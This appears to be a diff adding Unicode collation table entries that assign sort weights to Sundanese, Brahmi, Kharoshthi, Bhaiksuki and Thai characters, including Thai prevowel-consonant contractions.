+1BA7  ; [.2CC3.0020.0002] # SUNDANESE VOWEL SIGN PANOLONG
+1BA8  ; [.2CC4.0020.0002] # SUNDANESE VOWEL SIGN PAMEPET
+1BA9  ; [.2CC5.0020.0002] # SUNDANESE VOWEL SIGN PANEULEUNG
+1BAA  ; [.2CC6.0020.0002] # SUNDANESE SIGN PAMAAEH
+1BAB  ; [.2CC7.0020.0002] # SUNDANESE SIGN VIRAMA
+11005 ; [.2CC8.0020.0002] # BRAHMI LETTER A
+11006 ; [.2CC9.0020.0002] # BRAHMI LETTER AA
+11007 ; [.2CCA.0020.0002] # BRAHMI LETTER I
+11008 ; [.2CCB.0020.0002] # BRAHMI LETTER II
+11009 ; [.2CCC.0020.0002] # BRAHMI LETTER U
+1100A ; [.2CCD.0020.0002] # BRAHMI LETTER UU
+1100B ; [.2CCE.0020.0002] # BRAHMI LETTER VOCALIC R
+1100C ; [.2CCF.0020.0002] # BRAHMI LETTER VOCALIC RR
+1100D ; [.2CD0.0020.0002] # BRAHMI LETTER VOCALIC L
+1100E ; [.2CD1.0020.0002] # BRAHMI LETTER VOCALIC LL
+1100F ; [.2CD2.0020.0002] # BRAHMI LETTER E
+11010 ; [.2CD3.0020.0002] # BRAHMI LETTER AI
+11011 ; [.2CD4.0020.0002] # BRAHMI LETTER O
+11012 ; [.2CD5.0020.0002] # BRAHMI LETTER AU
+11013 ; [.2CD6.0020.0002] # BRAHMI LETTER KA
+11014 ; [.2CD7.0020.0002] # BRAHMI LETTER KHA
+11015 ; [.2CD8.0020.0002] # BRAHMI LETTER GA
+11016 ; [.2CD9.0020.0002] # BRAHMI LETTER GHA
+11017 ; [.2CDA.0020.0002] # BRAHMI LETTER NGA
+11018 ; [.2CDB.0020.0002] # BRAHMI LETTER CA
+11019 ; [.2CDC.0020.0002] # BRAHMI LETTER CHA
+1101A ; [.2CDD.0020.0002] # BRAHMI LETTER JA
+1101B ; [.2CDE.0020.0002] # BRAHMI LETTER JHA
+1101C ; [.2CDF.0020.0002] # BRAHMI LETTER NYA
+1101D ; [.2CE0.0020.0002] # BRAHMI LETTER TTA
+1101E ; [.2CE1.0020.0002] # BRAHMI LETTER TTHA
+1101F ; [.2CE2.0020.0002] # BRAHMI LETTER DDA
+11020 ; [.2CE3.0020.0002] # BRAHMI LETTER DDHA
+11021 ; [.2CE4.0020.0002] # BRAHMI LETTER NNA
+11022 ; [.2CE5.0020.0002] # BRAHMI LETTER TA
+11023 ; [.2CE6.0020.0002] # BRAHMI LETTER THA
+11024 ; [.2CE7.0020.0002] # BRAHMI LETTER DA
+11025 ; [.2CE8.0020.0002] # BRAHMI LETTER DHA
+11026 ; [.2CE9.0020.0002] # BRAHMI LETTER NA
+11027 ; [.2CEA.0020.0002] # BRAHMI LETTER PA
+11028 ; [.2CEB.0020.0002] # BRAHMI LETTER PHA
+11029 ; [.2CEC.0020.0002] # BRAHMI LETTER BA
+1102A ; [.2CED.0020.0002] # BRAHMI LETTER BHA
+1102B ; [.2CEE.0020.0002] # BRAHMI LETTER MA
+1102C ; [.2CEF.0020.0002] # BRAHMI LETTER YA
+1102D ; [.2CF0.0020.0002] # BRAHMI LETTER RA
+1102E ; [.2CF1.0020.0002] # BRAHMI LETTER LA
+1102F ; [.2CF2.0020.0002] # BRAHMI LETTER VA
+11030 ; [.2CF3.0020.0002] # BRAHMI LETTER SHA
+11031 ; [.2CF4.0020.0002] # BRAHMI LETTER SSA
+11032 ; [.2CF5.0020.0002] # BRAHMI LETTER SA
+11033 ; [.2CF6.0020.0002] # BRAHMI LETTER HA
+11003 ; [.2CF7.0020.0002] # BRAHMI SIGN JIHVAMULIYA
+11004 ; [.2CF8.0020.0002] # BRAHMI SIGN UPADHMANIYA
+11034 ; [.2CF9.0020.0002] # BRAHMI LETTER LLA
+11035 ; [.2CFA.0020.0002] # BRAHMI LETTER OLD TAMIL LLLA
+11036 ; [.2CFB.0020.0002] # BRAHMI LETTER OLD TAMIL RRA
+11037 ; [.2CFC.0020.0002] # BRAHMI LETTER OLD TAMIL NNNA
+11038 ; [.2CFD.0020.0002] # BRAHMI VOWEL SIGN AA
+11039 ; [.2CFE.0020.0002] # BRAHMI VOWEL SIGN BHATTIPROLU AA
+1103A ; [.2CFF.0020.0002] # BRAHMI VOWEL SIGN I
+1103B ; [.2D00.0020.0002] # BRAHMI VOWEL SIGN II
+1103C ; [.2D01.0020.0002] # BRAHMI VOWEL SIGN U
+1103D ; [.2D02.0020.0002] # BRAHMI VOWEL SIGN UU
+1103E ; [.2D03.0020.0002] # BRAHMI VOWEL SIGN VOCALIC R
+1103F ; [.2D04.0020.0002] # BRAHMI VOWEL SIGN VOCALIC RR
+11040 ; [.2D05.0020.0002] # BRAHMI VOWEL SIGN VOCALIC L
+11041 ; [.2D06.0020.0002] # BRAHMI VOWEL SIGN VOCALIC LL
+11042 ; [.2D07.0020.0002] # BRAHMI VOWEL SIGN E
+11043 ; [.2D08.0020.0002] # BRAHMI VOWEL SIGN AI
+11044 ; [.2D09.0020.0002] # BRAHMI VOWEL SIGN O
+11045 ; [.2D0A.0020.0002] # BRAHMI VOWEL SIGN AU
+11046 ; [.2D0B.0020.0002] # BRAHMI VIRAMA
+1107F ; [.2D0C.0020.0002] # BRAHMI NUMBER JOINER
+10A00 ; [.2D0D.0020.0002] # KHAROSHTHI LETTER A
+10A01 ; [.2D0E.0020.0002] # KHAROSHTHI VOWEL SIGN I
+10A02 ; [.2D0F.0020.0002] # KHAROSHTHI VOWEL SIGN U
+10A03 ; [.2D10.0020.0002] # KHAROSHTHI VOWEL SIGN VOCALIC R
+10A05 ; [.2D11.0020.0002] # KHAROSHTHI VOWEL SIGN E
+10A06 ; [.2D12.0020.0002] # KHAROSHTHI VOWEL SIGN O
+10A0C ; [.2D13.0020.0002] # KHAROSHTHI VOWEL LENGTH MARK
+10A10 ; [.2D14.0020.0002] # KHAROSHTHI LETTER KA
+10A11 ; [.2D15.0020.0002] # KHAROSHTHI LETTER KHA
+10A12 ; [.2D16.0020.0002] # KHAROSHTHI LETTER GA
+10A13 ; [.2D17.0020.0002] # KHAROSHTHI LETTER GHA
+10A15 ; [.2D18.0020.0002] # KHAROSHTHI LETTER CA
+10A16 ; [.2D19.0020.0002] # KHAROSHTHI LETTER CHA
+10A17 ; [.2D1A.0020.0002] # KHAROSHTHI LETTER JA
+10A19 ; [.2D1B.0020.0002] # KHAROSHTHI LETTER NYA
+10A1A ; [.2D1C.0020.0002] # KHAROSHTHI LETTER TTA
+10A1B ; [.2D1D.0020.0002] # KHAROSHTHI LETTER TTHA
+10A1C ; [.2D1E.0020.0002] # KHAROSHTHI LETTER DDA
+10A1D ; [.2D1F.0020.0002] # KHAROSHTHI LETTER DDHA
+10A1E ; [.2D20.0020.0002] # KHAROSHTHI LETTER NNA
+10A1F ; [.2D21.0020.0002] # KHAROSHTHI LETTER TA
+10A20 ; [.2D22.0020.0002] # KHAROSHTHI LETTER THA
+10A21 ; [.2D23.0020.0002] # KHAROSHTHI LETTER DA
+10A22 ; [.2D24.0020.0002] # KHAROSHTHI LETTER DHA
+10A23 ; [.2D25.0020.0002] # KHAROSHTHI LETTER NA
+10A24 ; [.2D26.0020.0002] # KHAROSHTHI LETTER PA
+10A25 ; [.2D27.0020.0002] # KHAROSHTHI LETTER PHA
+10A26 ; [.2D28.0020.0002] # KHAROSHTHI LETTER BA
+10A27 ; [.2D29.0020.0002] # KHAROSHTHI LETTER BHA
+10A28 ; [.2D2A.0020.0002] # KHAROSHTHI LETTER MA
+10A29 ; [.2D2B.0020.0002] # KHAROSHTHI LETTER YA
+10A2A ; [.2D2C.0020.0002] # KHAROSHTHI LETTER RA
+10A2B ; [.2D2D.0020.0002] # KHAROSHTHI LETTER LA
+10A2C ; [.2D2E.0020.0002] # KHAROSHTHI LETTER VA
+10A2D ; [.2D2F.0020.0002] # KHAROSHTHI LETTER SHA
+10A2E ; [.2D30.0020.0002] # KHAROSHTHI LETTER SSA
+10A2F ; [.2D31.0020.0002] # KHAROSHTHI LETTER SA
+10A30 ; [.2D32.0020.0002] # KHAROSHTHI LETTER ZA
+10A31 ; [.2D33.0020.0002] # KHAROSHTHI LETTER HA
+10A32 ; [.2D34.0020.0002] # KHAROSHTHI LETTER KKA
+10A33 ; [.2D35.0020.0002] # KHAROSHTHI LETTER TTTHA
+10A3F ; [.2D36.0020.0002] # KHAROSHTHI VIRAMA
+11C00 ; [.2D37.0020.0002] # BHAIKSUKI LETTER A
+11C01 ; [.2D38.0020.0002] # BHAIKSUKI LETTER AA
+11C02 ; [.2D39.0020.0002] # BHAIKSUKI LETTER I
+11C03 ; [.2D3A.0020.0002] # BHAIKSUKI LETTER II
+11C04 ; [.2D3B.0020.0002] # BHAIKSUKI LETTER U
+11C05 ; [.2D3C.0020.0002] # BHAIKSUKI LETTER UU
+11C06 ; [.2D3D.0020.0002] # BHAIKSUKI LETTER VOCALIC R
+11C07 ; [.2D3E.0020.0002] # BHAIKSUKI LETTER VOCALIC RR
+11C08 ; [.2D3F.0020.0002] # BHAIKSUKI LETTER VOCALIC L
+11C0A ; [.2D40.0020.0002] # BHAIKSUKI LETTER E
+11C0B ; [.2D41.0020.0002] # BHAIKSUKI LETTER AI
+11C0C ; [.2D42.0020.0002] # BHAIKSUKI LETTER O
+11C0D ; [.2D43.0020.0002] # BHAIKSUKI LETTER AU
+11C0E ; [.2D44.0020.0002] # BHAIKSUKI LETTER KA
+11C0F ; [.2D45.0020.0002] # BHAIKSUKI LETTER KHA
+11C10 ; [.2D46.0020.0002] # BHAIKSUKI LETTER GA
+11C11 ; [.2D47.0020.0002] # BHAIKSUKI LETTER GHA
+11C12 ; [.2D48.0020.0002] # BHAIKSUKI LETTER NGA
+11C13 ; [.2D49.0020.0002] # BHAIKSUKI LETTER CA
+11C14 ; [.2D4A.0020.0002] # BHAIKSUKI LETTER CHA
+11C15 ; [.2D4B.0020.0002] # BHAIKSUKI LETTER JA
+11C16 ; [.2D4C.0020.0002] # BHAIKSUKI LETTER JHA
+11C17 ; [.2D4D.0020.0002] # BHAIKSUKI LETTER NYA
+11C18 ; [.2D4E.0020.0002] # BHAIKSUKI LETTER TTA
+11C19 ; [.2D4F.0020.0002] # BHAIKSUKI LETTER TTHA
+11C1A ; [.2D50.0020.0002] # BHAIKSUKI LETTER DDA
+11C1B ; [.2D51.0020.0002] # BHAIKSUKI LETTER DDHA
+11C1C ; [.2D52.0020.0002] # BHAIKSUKI LETTER NNA
+11C1D ; [.2D53.0020.0002] # BHAIKSUKI LETTER TA
+11C1E ; [.2D54.0020.0002] # BHAIKSUKI LETTER THA
+11C1F ; [.2D55.0020.0002] # BHAIKSUKI LETTER DA
+11C20 ; [.2D56.0020.0002] # BHAIKSUKI LETTER DHA
+11C21 ; [.2D57.0020.0002] # BHAIKSUKI LETTER NA
+11C22 ; [.2D58.0020.0002] # BHAIKSUKI LETTER PA
+11C23 ; [.2D59.0020.0002] # BHAIKSUKI LETTER PHA
+11C24 ; [.2D5A.0020.0002] # BHAIKSUKI LETTER BA
+11C25 ; [.2D5B.0020.0002] # BHAIKSUKI LETTER BHA
+11C26 ; [.2D5C.0020.0002] # BHAIKSUKI LETTER MA
+11C27 ; [.2D5D.0020.0002] # BHAIKSUKI LETTER YA
+11C28 ; [.2D5E.0020.0002] # BHAIKSUKI LETTER RA
+11C29 ; [.2D5F.0020.0002] # BHAIKSUKI LETTER LA
+11C2A ; [.2D60.0020.0002] # BHAIKSUKI LETTER VA
+11C2B ; [.2D61.0020.0002] # BHAIKSUKI LETTER SHA
+11C2C ; [.2D62.0020.0002] # BHAIKSUKI LETTER SSA
+11C2D ; [.2D63.0020.0002] # BHAIKSUKI LETTER SA
+11C2E ; [.2D64.0020.0002] # BHAIKSUKI LETTER HA
+11C40 ; [.2D65.0020.0002] # BHAIKSUKI SIGN AVAGRAHA
+11C2F ; [.2D66.0020.0002] # BHAIKSUKI VOWEL SIGN AA
+11C30 ; [.2D67.0020.0002] # BHAIKSUKI VOWEL SIGN I
+11C31 ; [.2D68.0020.0002] # BHAIKSUKI VOWEL SIGN II
+11C32 ; [.2D69.0020.0002] # BHAIKSUKI VOWEL SIGN U
+11C33 ; [.2D6A.0020.0002] # BHAIKSUKI VOWEL SIGN UU
+11C34 ; [.2D6B.0020.0002] # BHAIKSUKI VOWEL SIGN VOCALIC R
+11C35 ; [.2D6C.0020.0002] # BHAIKSUKI VOWEL SIGN VOCALIC RR
+11C36 ; [.2D6D.0020.0002] # BHAIKSUKI VOWEL SIGN VOCALIC L
+11C38 ; [.2D6E.0020.0002] # BHAIKSUKI VOWEL SIGN E
+11C39 ; [.2D6F.0020.0002] # BHAIKSUKI VOWEL SIGN AI
+11C3A ; [.2D70.0020.0002] # BHAIKSUKI VOWEL SIGN O
+11C3B ; [.2D71.0020.0002] # BHAIKSUKI VOWEL SIGN AU
+11C3F ; [.2D72.0020.0002] # BHAIKSUKI SIGN VIRAMA
+0E01  ; [.2D73.0020.0002] # THAI CHARACTER KO KAI
+0E40 0E01 ; [.2D73.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER KO KAI>
+0E41 0E01 ; [.2D73.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER KO KAI>
+0E42 0E01 ; [.2D73.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER KO KAI>
+0E43 0E01 ; [.2D73.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER KO KAI>
+0E44 0E01 ; [.2D73.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER KO KAI>
+0E02  ; [.2D74.0020.0002] # THAI CHARACTER KHO KHAI
+0E40 0E02 ; [.2D74.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER KHO KHAI>
+0E41 0E02 ; [.2D74.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER KHO KHAI>
+0E42 0E02 ; [.2D74.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER KHO KHAI>
+0E43 0E02 ; [.2D74.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER KHO KHAI>
+0E44 0E02 ; [.2D74.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER KHO KHAI>
+0E03  ; [.2D75.0020.0002] # THAI CHARACTER KHO KHUAT
+0E40 0E03 ; [.2D75.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER KHO KHUAT>
+0E41 0E03 ; [.2D75.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER KHO KHUAT>
+0E42 0E03 ; [.2D75.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER KHO KHUAT>
+0E43 0E03 ; [.2D75.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER KHO KHUAT>
+0E44 0E03 ; [.2D75.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER KHO KHUAT>
+0E04  ; [.2D76.0020.0002] # THAI CHARACTER KHO KHWAI
+0E40 0E04 ; [.2D76.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER KHO KHWAI>
+0E41 0E04 ; [.2D76.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER KHO KHWAI>
+0E42 0E04 ; [.2D76.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER KHO KHWAI>
+0E43 0E04 ; [.2D76.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER KHO KHWAI>
+0E44 0E04 ; [.2D76.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER KHO KHWAI>
+0E05  ; [.2D77.0020.0002] # THAI CHARACTER KHO KHON
+0E40 0E05 ; [.2D77.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER KHO KHON>
+0E41 0E05 ; [.2D77.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER KHO KHON>
+0E42 0E05 ; [.2D77.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER KHO KHON>
+0E43 0E05 ; [.2D77.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER KHO KHON>
+0E44 0E05 ; [.2D77.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER KHO KHON>
+0E06  ; [.2D78.0020.0002] # THAI CHARACTER KHO RAKHANG
+0E40 0E06 ; [.2D78.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER KHO RAKHANG>
+0E41 0E06 ; [.2D78.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER KHO RAKHANG>
+0E42 0E06 ; [.2D78.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER KHO RAKHANG>
+0E43 0E06 ; [.2D78.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER KHO RAKHANG>
+0E44 0E06 ; [.2D78.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER KHO RAKHANG>
+0E07  ; [.2D79.0020.0002] # THAI CHARACTER NGO NGU
+0E40 0E07 ; [.2D79.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER NGO NGU>
+0E41 0E07 ; [.2D79.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER NGO NGU>
+0E42 0E07 ; [.2D79.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER NGO NGU>
+0E43 0E07 ; [.2D79.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER NGO NGU>
+0E44 0E07 ; [.2D79.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER NGO NGU>
+0E08  ; [.2D7A.0020.0002] # THAI CHARACTER CHO CHAN
+0E40 0E08 ; [.2D7A.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER CHO CHAN>
+0E41 0E08 ; [.2D7A.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER CHO CHAN>
+0E42 0E08 ; [.2D7A.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER CHO CHAN>
+0E43 0E08 ; [.2D7A.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER CHO CHAN>
+0E44 0E08 ; [.2D7A.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER CHO CHAN>
+0E09  ; [.2D7B.0020.0002] # THAI CHARACTER CHO CHING
+0E40 0E09 ; [.2D7B.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER CHO CHING>
+0E41 0E09 ; [.2D7B.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER CHO CHING>
+0E42 0E09 ; [.2D7B.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER CHO CHING>
+0E43 0E09 ; [.2D7B.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER CHO CHING>
+0E44 0E09 ; [.2D7B.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER CHO CHING>
+0E0A  ; [.2D7C.0020.0002] # THAI CHARACTER CHO CHANG
+0E40 0E0A ; [.2D7C.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER CHO CHANG>
+0E41 0E0A ; [.2D7C.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER CHO CHANG>
+0E42 0E0A ; [.2D7C.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER CHO CHANG>
+0E43 0E0A ; [.2D7C.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER CHO CHANG>
+0E44 0E0A ; [.2D7C.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER CHO CHANG>
+0E0B  ; [.2D7D.0020.0002] # THAI CHARACTER SO SO
+0E40 0E0B ; [.2D7D.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER SO SO>
+0E41 0E0B ; [.2D7D.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER SO SO>
+0E42 0E0B ; [.2D7D.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER SO SO>
+0E43 0E0B ; [.2D7D.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER SO SO>
+0E44 0E0B ; [.2D7D.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER SO SO>
+0E0C  ; [.2D7E.0020.0002] # THAI CHARACTER CHO CHOE
+0E40 0E0C ; [.2D7E.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER CHO CHOE>
+0E41 0E0C ; [.2D7E.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER CHO CHOE>
+0E42 0E0C ; [.2D7E.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER CHO CHOE>
+0E43 0E0C ; [.2D7E.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER CHO CHOE>
+0E44 0E0C ; [.2D7E.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER CHO CHOE>
+0E0D  ; [.2D7F.0020.0002] # THAI CHARACTER YO YING
+0E40 0E0D ; [.2D7F.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER YO YING>
+0E41 0E0D ; [.2D7F.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER YO YING>
+0E42 0E0D ; [.2D7F.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER YO YING>
+0E43 0E0D ; [.2D7F.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER YO YING>
+0E44 0E0D ; [.2D7F.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER YO YING>
+0E0E  ; [.2D80.0020.0002] # THAI CHARACTER DO CHADA
+0E40 0E0E ; [.2D80.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER DO CHADA>
+0E41 0E0E ; [.2D80.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER DO CHADA>
+0E42 0E0E ; [.2D80.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER DO CHADA>
+0E43 0E0E ; [.2D80.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER DO CHADA>
+0E44 0E0E ; [.2D80.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER DO CHADA>
+0E0F  ; [.2D81.0020.0002] # THAI CHARACTER TO PATAK
+0E40 0E0F ; [.2D81.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER TO PATAK>
+0E41 0E0F ; [.2D81.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER TO PATAK>
+0E42 0E0F ; [.2D81.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER TO PATAK>
+0E43 0E0F ; [.2D81.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER TO PATAK>
+0E44 0E0F ; [.2D81.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER TO PATAK>
+0E10  ; [.2D82.0020.0002] # THAI CHARACTER THO THAN
+0E40 0E10 ; [.2D82.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER THO THAN>
+0E41 0E10 ; [.2D82.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER THO THAN>
+0E42 0E10 ; [.2D82.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER THO THAN>
+0E43 0E10 ; [.2D82.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER THO THAN>
+0E44 0E10 ; [.2D82.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER THO THAN>
+0E11  ; [.2D83.0020.0002] # THAI CHARACTER THO NANGMONTHO
+0E40 0E11 ; [.2D83.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER THO NANGMONTHO>
+0E41 0E11 ; [.2D83.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER THO NANGMONTHO>
+0E42 0E11 ; [.2D83.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER THO NANGMONTHO>
+0E43 0E11 ; [.2D83.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER THO NANGMONTHO>
+0E44 0E11 ; [.2D83.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER THO NANGMONTHO>
+0E12  ; [.2D84.0020.0002] # THAI CHARACTER THO PHUTHAO
+0E40 0E12 ; [.2D84.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER THO PHUTHAO>
+0E41 0E12 ; [.2D84.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER THO PHUTHAO>
+0E42 0E12 ; [.2D84.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER THO PHUTHAO>
+0E43 0E12 ; [.2D84.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER THO PHUTHAO>
+0E44 0E12 ; [.2D84.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER THO PHUTHAO>
+0E13  ; [.2D85.0020.0002] # THAI CHARACTER NO NEN
+0E40 0E13 ; [.2D85.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER NO NEN>
+0E41 0E13 ; [.2D85.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER NO NEN>
+0E42 0E13 ; [.2D85.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER NO NEN>
+0E43 0E13 ; [.2D85.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER NO NEN>
+0E44 0E13 ; [.2D85.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER NO NEN>
+0E14  ; [.2D86.0020.0002] # THAI CHARACTER DO DEK
+0E40 0E14 ; [.2D86.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER DO DEK>
+0E41 0E14 ; [.2D86.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER DO DEK>
+0E42 0E14 ; [.2D86.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER DO DEK>
+0E43 0E14 ; [.2D86.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER DO DEK>
+0E44 0E14 ; [.2D86.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER DO DEK>
+0E15  ; [.2D87.0020.0002] # THAI CHARACTER TO TAO
+0E40 0E15 ; [.2D87.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER TO TAO>
+0E41 0E15 ; [.2D87.0020.0002][.2DAE.0020.0002] # <THAI CHARACTER SARA AE, THAI CHARACTER TO TAO>
+0E42 0E15 ; [.2D87.0020.0002][.2DAF.0020.0002] # <THAI CHARACTER SARA O, THAI CHARACTER TO TAO>
+0E43 0E15 ; [.2D87.0020.0002][.2DB0.0020.0002] # <THAI CHARACTER SARA AI MAIMUAN, THAI CHARACTER TO TAO>
+0E44 0E15 ; [.2D87.0020.0002][.2DB1.0020.0002] # <THAI CHARACTER SARA AI MAIMALAI, THAI CHARACTER TO TAO>
+0E16  ; [.2D88.0020.0002] # THAI CHARACTER THO THUNG
+0E40 0E16 ; [.2D88.0020.0002][.2DAD.0020.0002] # <THAI CHARACTER SARA E, THAI CHARACTER THO THUNG>
